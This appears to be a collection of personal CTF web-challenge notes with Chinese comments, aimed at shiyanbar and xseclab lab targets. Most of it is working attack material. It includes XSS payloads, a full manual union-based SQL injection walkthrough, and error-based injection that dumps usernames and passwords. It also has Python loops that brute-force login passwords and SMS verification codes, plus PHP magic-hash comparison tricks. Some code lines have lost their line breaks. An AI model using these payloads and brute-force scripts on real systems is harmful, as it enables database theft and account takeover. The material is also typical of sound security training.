$.post("./getkey.php?ok=1",{'url':location.href,'ok':ok},function(data){console.log(data);});
showkey();

<script>alert(HackingLab)</script>

<img src="11" onerror=alert(HackingLab)>

//手工注入过程
//判断注入类型为and布尔型注入
http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=1
http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2
//判断字段数
http://ctf5.shiyanbar.com/8/index.php?id=1%20order%20by%203
http://ctf5.shiyanbar.com/8/index.php?id=1%20order%20by%202
//获取数据库基本信息(//concat_ws是字符串连接函数，其中第一个参数是分隔符，CHAR(58)是冒号，因为冒号的ASCII是58)
http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2%20union%20select%201,concat_ws(CHAR(58),user(),database(),version())
//获取数据库中的表,其中table_schema可以理解为数据库吧(他是mysql系统表里面的一个字段，这里我们用16进制表示，就是上一句查询到的数据库)
http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x6d795f6462
//获取重要表的字段
http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_name=0x746869736b6579
//获取表中的内容
http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,k0y from thiskey

利用报错注入http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,database())),1)数据库：mydbshttp://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=0x6d79646273 limit 0,1 ))),1)爆表http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,(select concat(username,0x3a,password) from user limit 2,1 ))),1)爆数据

import requests
import base64url='http://ctf4.shiyanbar.com/web/10.php'
req=requests.get(url)
print req.text
key=req.headers['FLAG']
key=base64.b64decode(key)
key=key.split(':')[1].strip()
data={'key':key}
r=requests.post(url,data=data)
print(r.text)

$cipher = 'a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$tmp = base64_decode(strrev(str_rot13($cipher)));
echo $tmp;
$b = '';
for ($i=0; $i < strlen($tmp); $i++) {$a = substr($tmp, $i, 1);$b = $b.chr(ord($a)-1);
}
echo strrev($b);

var_dump( 0 == "a" );
var_dump( "0" == "a" );

var_dump("0e462097431906854"=="0e83040041");

md5('240610708') 的结果是：0e462097431906509019562988736854
md5('QNKCDZO') 的结果是：0e830400451993494058024219903391

md5(array) == NULL

.bak ultroedit....
~
.xxxx.php.swp .xxxx.php.swo vim

import requestsurl = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
req = requests.session()
header = {"Cookie":"PHPSESSID=9b8f8686269f5d70a44766e3c5f4dcdc"}
for pwd in xrange(1000,10000):data={'username':'admin','pwd':pwd,'vcode':'c3pe'}ret = req.post(url, data=data, headers=header)print ret.textif 'error' not in ret.text:print pwdbreak

import requestsurl = "http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
req = requests.session()
header = {"Cookie":"PHPSESSID=3c39940da50b514038b3e9971ee5f57e"}for pwd in xrange(1000,10000):data={'username':'admin','pwd':pwd,'vcode':''}ret = req.post(url, data=data, headers=header)if 'error' not in ret.text:print ret.textprint "good: password is:" + str(pwd)breakelse:print "try:" + str(pwd) + " and result is :"+ ret.text

import requestsurl = "http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php"
req = requests.session()
header = {"Cookie":"PHPSESSID=61556a5b2a6c2a03a2f35b199cbb5364"}
for vcode in xrange(100,1000):data={'username':'13388886666','vcode':vcode, 'Login':'submit'}# data={'username':'13399999999','vcode':vcode, 'Login':'submit'}ret = req.post(url, data=data, headers=header)if 'error' not in ret.text:print ret.textprint "good: vcode is:" + str(vcode)breakelse:print "try:" + str(vcode) + " and result is :"+ ret.text